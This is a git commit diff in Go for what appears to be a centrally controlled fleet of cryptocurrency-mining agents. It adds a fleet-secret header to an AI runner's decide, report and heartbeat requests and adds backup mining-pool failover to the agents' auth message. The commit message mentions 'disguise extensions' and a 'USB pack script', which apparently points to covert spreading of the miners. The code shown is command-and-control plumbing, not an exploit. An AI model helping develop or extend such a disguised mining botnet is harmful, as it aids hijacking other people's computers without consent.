feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired
This commit is contained in:
@@ -255,6 +255,9 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) {
|
||||
return nil, fmt.Errorf("failed to create decide request: %w", err)
|
||||
}
|
||||
httpReq.Header.Set("Content-Type", "application/json")
|
||||
if a.cfg.FleetSecret != "" {
|
||||
httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret)
|
||||
}
|
||||
|
||||
resp, err := a.httpClient.Do(httpReq)
|
||||
if err != nil {
|
||||
@@ -430,6 +433,9 @@ func (a *AIRunner) reportResults(reports []ToolReport) {
|
||||
return
|
||||
}
|
||||
httpReq.Header.Set("Content-Type", "application/json")
|
||||
if a.cfg.FleetSecret != "" {
|
||||
httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret)
|
||||
}
|
||||
|
||||
resp, err := a.httpClient.Do(httpReq)
|
||||
if err != nil {
|
||||
@@ -460,6 +466,9 @@ func (a *AIRunner) sendHeartbeat(status, message string) {
|
||||
return
|
||||
}
|
||||
httpReq.Header.Set("Content-Type", "application/json")
|
||||
if a.cfg.FleetSecret != "" {
|
||||
httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret)
|
||||
}
|
||||
|
||||
resp, err := a.httpClient.Do(httpReq)
|
||||
if err != nil {
|
||||
|
||||
@@ -176,10 +176,16 @@ func (c *AgentClient) connectLoop(serverURL string) error {
|
||||
|
||||
func (c *AgentClient) authenticate() error {
|
||||
host, cores, memGB := c.reporter.SystemInfo()
|
||||
backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
|
||||
for i, bp := range c.cfg.BackupPools {
|
||||
backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
|
||||
}
|
||||
|
||||
payload, _ := json.Marshal(AuthPayload{
|
||||
AgentID: c.agentID,
|
||||
FleetSecret: c.cfg.FleetSecret,
|
||||
Wallet: c.cfg.Wallet,
|
||||
BackupPools: backupPools,
|
||||
Version: config.Version,
|
||||
Hostname: host,
|
||||
CPUCores: cores,
|
||||
|
||||
@@ -7,10 +7,19 @@ type Message struct {
|
||||
Payload json.RawMessage `json:"payload"`
|
||||
}
|
||||
|
||||
// BackupPoolEntry is a fallback pool sent by the agent in its auth message.
|
||||
type BackupPoolEntry struct {
|
||||
Host string `json:"host"`
|
||||
Port int `json:"port"`
|
||||
TLS bool `json:"pool_tls"`
|
||||
Pass string `json:"pass"`
|
||||
}
|
||||
|
||||
type AuthPayload struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
FleetSecret string `json:"fleet_secret"`
|
||||
Wallet string `json:"wallet"`
|
||||
AgentID string `json:"agent_id"`
|
||||
FleetSecret string `json:"fleet_secret"`
|
||||
Wallet string `json:"wallet"`
|
||||
BackupPools []BackupPoolEntry `json:"backup_pools,omitempty"`
|
||||
Version string `json:"version"`
|
||||
Hostname string `json:"hostname"`
|
||||
CPUCores int `json:"cpu_cores"`
|
||||
|
||||
Reference in New Issue
Block a user